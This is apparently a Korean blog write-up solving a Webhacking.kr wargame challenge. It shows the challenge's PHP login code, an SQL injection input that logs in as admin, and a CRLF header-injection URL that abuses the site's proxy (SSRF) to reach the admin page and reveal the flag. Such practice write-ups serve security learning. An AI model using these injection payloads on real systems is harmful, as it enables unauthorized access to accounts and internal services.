요즘 창업생각에 정신이없다.. 공부를 하려는 생각도 딱히 안들고 창업에만 관심이 생긴다 ...
admin page를 눌러보면, 대충 로그인하는 폼이 뜬다.
소스보기
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
?><hr><a href=./?view_source=1>view-source</a>
이를 생각하여, 폼 창에
id : 1' or id='admin’—
pw : 아무거나
쳐보면 hi admin으로 로그인이 된다. 하지만 "Only access from vitual IP address" 라고 뜨며 문제가 해결되진 않는다.
잘은 모르겠지만 172.17.0.x 형식의 Virtual IP address로 접근하려면 서버에서 제공해주는 프록시를 사용해봐야할거같다.
그래서 위의 proxy링크를 들어가보면, 입력하는 페이지의 Request / Response 값을 볼 수 있다.
이전에 로그인 폼을 BurpSuite로 잡아봤을때, 특별한점은
Authorization: Basic MScgb3IgaWQ9J2FkbWluJy0tIDoxMjM=
라는 값이 함께 전달된다는 점이고, 여기서 MScgb3IgaWQ9J2FkbWluJy0tIDoxMjM= 는 내가 입력한 id, pw값이다
이걸 Base64디코딩해보면 1' or id='admin’— :123이 나올 것이다. 아이디:비밀번호 형식으로 나올 것이다.
따라서 BurpSuite를 실행하는 상태에서 /admin/ 의 서버제공proxy를 잡은 뒤에 저 값을 넘겨주었는데도 불구하고 문제가 풀리지 않는다.
즉 나는 Header값을 변경해주려고한건데 변경이 되지가 않는다. 따라서 직접 값을 입력해주기로 했다. Header Injection 방법, 즉 개행을 사용해서 헤더값을 임의로 삽입하여 넣어주는 방식이다.
http://webhacking.kr:10008/proxy.php?page=/admin/%20HTTP/1.1%0d%0aAuthorization:%20Basic%20MScgb3IgaWQ9J2FkbWluJy0tIDoxMjM=%0d%0aCookie:%20PHPSESSID=세션값%0d%0atemp:%20
ps. 공백은 내가 인코딩해서 넘겨줬고, :나 =도 뭐 인코딩해주면 좋지만.. 전부터 알게됐는데 url에 인코딩 하고 안하고 상관없이 넘겨도 안된것들은 걍 알아서 되더라 귀찮아서 안함.
난 값을 이렇게 넣어줬다. 개행으로는 CRLF(%0d%0a)를 사용했다. 이렇게 입력하여 아래와 같은 방식으로 실행되게 하는 것이다.
GET /admin/ HTTP/1.1
Authorization: Basic MScgb3IgaWQ9J2FkbWluJy0tIDoxMjM=
Cookie: PHPSESSID=세션값
temp: HTTP/1.1
그리고 아래와 같이 플래그 값도 나오게 된다.
hi admin
FLAG{Server_Side_Request_Forgery_with_proxy!}
Q. 문제풀면서 한가지 의아했던 점은, 윈도우에서는 개행으로 CRLF(%0d%0a)를 사용하고 리눅스에서는 개행으로 LF(%0a)를 사용하는 것으로 알고 있어서, 해당 서버가 Ubuntu 서버라고 나오길래 처음에 %0a를 사용했는데 문제가 풀리지 않았다. 그리고 %0d%0a를 넣어줬더니 문제가 풀린다.. 이거에 대해 아시는분..?
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 54번 (0) | 2020.11.23 |
---|---|
[Webhacking.kr] 53번 (0) | 2020.11.22 |
[Webhacking.kr] 51번 (0) | 2020.11.15 |
[Webhacking.kr] 50번 (0) | 2020.11.15 |
[Webhacking.kr] 49번 (0) | 2020.11.15 |